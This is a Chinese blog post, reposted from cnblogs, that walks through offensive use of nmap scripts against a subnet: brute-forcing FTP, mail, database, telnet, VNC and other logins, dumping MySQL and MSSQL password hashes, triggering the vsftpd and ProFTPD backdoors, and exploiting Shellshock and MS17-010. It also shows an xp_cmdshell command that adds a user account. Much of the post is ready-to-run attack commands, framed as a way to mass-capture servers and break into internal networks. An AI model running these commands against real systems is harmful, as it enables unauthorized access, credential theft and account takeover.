智慧博客网
立即登录 马上注册
当前位置: 网络安全 > Namp的使用

比较实用的nmap脚本,nmap自身的一些基础选项自学

实际中我们可以先用下面的语句,大概扫一眼目标机器或目标C段都跑了什么服务,心里总要先有个谱,之后才好针对性出牌嘛

1
# nmap -sV -sT -Pn --open -v 192.168.3.23

当然,你也可以用下面的脚本先尝试获取下目标机器更详细的服务banner信息[不过这个并不详细,有时候简单telnet下就直接能看到详细的banner了,用不着nmap],看具体版本的原因是因为有些服务工具漏洞只能利用在特定的版本上,所以,提前知道大概一下还是非常有必要的,废话到此为止,咱们开始真正的内容

1
# nmap -sT -Pn --open -v banner.nse 192.168.3.23

1、和ftp相关的一些漏洞检测脚本

ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,比如你想快速批量抓一些ftp

1
# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23

ftp-brute.nse ftp爆破脚本[默认只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个速度可能还会更慢),毕竟,是直接在公网爆破

1
# nmap -p 21 --script ftp-brute.nse -v 192.168.3.23

ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出

1
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-proftpd-backdoor.nse ProFTPD 1.3.3c 被人插后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令

1
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-vsftpd-backdoor.nse VSFTPD v2.3.4 跟Proftp同样的问题,被人捅进去以后在代码里面插了后门

1
# nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23

2、和ssh 相关的一些扫描脚本

sshv1.nse 大家都知道的,sshv1是可以被中间人的

1
# nmap -p 22 --script sshv1.nse -v 192.168.3.23

3、和smtp,pop3,imap相关的一些扫描脚本

smtp-brute.nse 简单爆破smtp弱口令,拿这个爆进去的邮箱给人发信也许成功率会稍微高一点

1
# nmap -p 25 --script smtp-brute.nse -v 192.168.3.23

smtp-enum-users.nse 枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行,搜集一些必要的信息还是蛮好的

1
# nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23

smtp-vuln-cve2010-4344.nse Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出

1
# nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23

smtp-vuln-cve2011-1720.nse Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出

1
# nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23

pop3-brute.nse pop简单弱口令爆破

1
# nmap -p 110 --script pop3-brute.nse -v 192.168.3.23

imap-brute.nse imap简单弱口令爆破

1
# nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23

4、和dns 相关的一些漏洞扫描脚本

dns-zone-transfer.nse 检查目标ns服务器是否允许传送,如果能,直接把子域拖出来就好了

1
# nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
1
# nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23

hostmap-ip2hosts.nse 旁站查询,目测了一下脚本,用的ip2hosts的接口,不过该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉

1
# nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23

5、和各种数据库相关的一些扫描脚本

informix-brute.nse informix爆破脚本

1
# nmap -p 9088 --script informix-brute.nse 192.168.3.23

mysql-empty-password.nse mysql 扫描root空密码,比如你想批量抓mysql

1
# nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23

mysql-brute.nse mysql root弱口令简单爆破

1
# nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23

mysql-dump-hashes.nse 导出mysql中所有用户的hash

1
# nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23

mysql-vuln-cve2012-2122.nse Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用条件有些苛刻 [需要目标的mysql是自己源码编译安装的,这样的成功率相对较高]

1
2
3
# nmap -p 3306 --script mysql-vuln-cve2012-2122.nse  -v 192.168.3.23
# nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24      ms-sql-info.nse 扫描C段mssql
# nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24

ms-sql-empty-password.nse 扫描mssql sa空密码,比如你想批量抓mssql

1
# nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24

ms-sql-brute.nse sa弱口令爆破

1
# nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24

ms-sql-xp-cmdshell.nse 利用xp_cmdshell,远程执行系统命令

1
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24

ms-sql-dump-hashes.nse 导出mssql中所有的数据库用户及密码hash

1
# nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24

zpgsql-brute.nse 尝试爆破postgresql

1
# nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24

oracle-brute-stealth.nse 尝试爆破oracle

1
# nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL  -v 192.168.3.0/24

oracle-brute.nse

1
# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24

mongodb-brute.nse 尝试爆破mongdb

1
# nmap -p 27017  --script mongodb-brute 192.168.3.0/24

redis-brute.nse redis爆破

1
# nmap -p 6379 --script redis-brute.nse 192.168.3.0/24

6、和snmp相关的一些扫描脚本,用来搜集些内网信息还行,运气好也许还能查到账号密码什么的

snmp-brute.nse 爆破C段的snmp

1
# nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24

7、 和telnet相关的一些扫描脚本

telnet-brute.nse 简单爆破telnet

1
# nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24

8、和ldap服务相关的一些利用脚本

ldap-brute.nse 简单爆破ldap

1
# nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24

9、和各类web中间件,web集成环境相关的一些利用脚本

xmpp-brute.nse xmpp爆破

1
# nmap -p 5222 --script xmpp-brute.nse  192.168.3.0/24

http-iis-short-name-brute.nse 短文件扫描

1
# nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24

http-iis-webdav-vuln.nse iis 5.0 6.0 webadv写

1
# nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24

http-shellshock.nse bash远程执行

1
# nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24

http-svn-info.nse 探测目标svn

1
# nmap --script http-svn-info 192.168.3.0/24

http-drupal-enum.nse 其实对于这类的开源程序,我们根本没必要用nmap,因为搞多了,差不多一眼就能看出来
http-wordpress-brute.nse

1
# nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24

http-backup-finder.nse 扫描目标网站备份

1
# nmap -p80 --script=http-backup-finder 192.168.3.0/24

http-vuln-cve2015-1635.nse iis6.0远程代码执行

1
# nmap -sV --script http-vuln-cve --script-args uri='anotheruri'  192.168.3.0/24

10、跟vpn相关的一些利用脚本

pptp-version.nse 识别目标pptp版本,暂时只看到一个pptp暂时还好使,其实pptp也是可以爆破的,嘿嘿……不过,实际目标中,pptp几乎没有,openvpn偏多,想直接捅目标内网,这无疑是很不错的入口

1
# nmap -p 1723 --script pptp-version.nse 192.168.3.0/24

11、smb漏洞检测脚本集

1
2
3
4
5
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse  smb远程执行
# nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24

12、检测内网嗅探

sniffer-detect.nse

1
# nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24

13、其他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rsync-brute.nse 爆破目标的rsync
# nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
rlogin-brute.nse 爆破目标的rlogin
# nmap -p 513 --script rlogin-brute 192.168.3.0/24
vnc-brute.nse  爆破目标的vnc
# nmap --script vnc-brute -p 5900 192.168.3.0/24
pcanywhere-brute.nse 爆破pcanywhere
# nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
nessus-brute.nse 爆破nessus,貌似现在已经不是1241端口了,实在是太老了,直接忽略吧
# nmap --script nessus-brute -p 1241 192.168.3.0/24
nexpose-brute.nse   爆破nexpose
# nmap --script nexpose-brute -p 3780 192.168.3.0/24
shodan-api.nse  配合shodan接口进行扫描,如果自己手里有0day,配合着一起用,这个威力还是不可小觑的,不过在即实际测的时候貌似还有些问题
# nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'

14、尝试利用nmap一句话对目标C段进行常规漏洞扫描

实际测试中,会非常的慢,可能跑一个脚本验证时间都要很长,尤其在你的vps带宽不是很足,网络又不怎么好的时候,速度就更慢了,所以还是建议先大致扫一眼目标服务,然后再单独针对性的扫,这样实际的成功率可能会高很多,毕竟,不是像masscan或者zamp这种基于无状态的扫描

1
# nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24

转载自:https://www.cnblogs.com/hackhyl/p/11366572.html

「梦想一旦被付诸行动,就会变得神圣,如果觉得我的文章对您有用,请帮助本站成长」

赞(0) 打赏
谢谢你请我吃鸡腿❀.(*´▽`*)❀.

支付宝扫一扫打赏

微信扫一扫打赏

标签:

上一篇:

下一篇:

相关推荐

0 条评论关于"Namp的使用"

最新评论

    暂无留言哦~~

博客简介

智慧博客:llg.design,一个关注Java开发、关注用户体验度、坚持更多原创实战教程的个人网站,愿景:成为优秀的人,做优秀的事,积极面对生活!

精彩评论

站点统计

  • 文章总数: 9 篇
  • 草稿数目: 1 篇
  • 分类数目: 26 个
  • 独立页面: 11 个
  • 评论总数: 2 条
  • 链接总数: 4 个
  • 标签总数: 35 个
  • 注册用户: 11 人
  • 访问总量: 8,660,686 次
  • 最近更新: 2021年7月26日
服务热线:
 1362914***

 QQ在线交流

 旺旺在线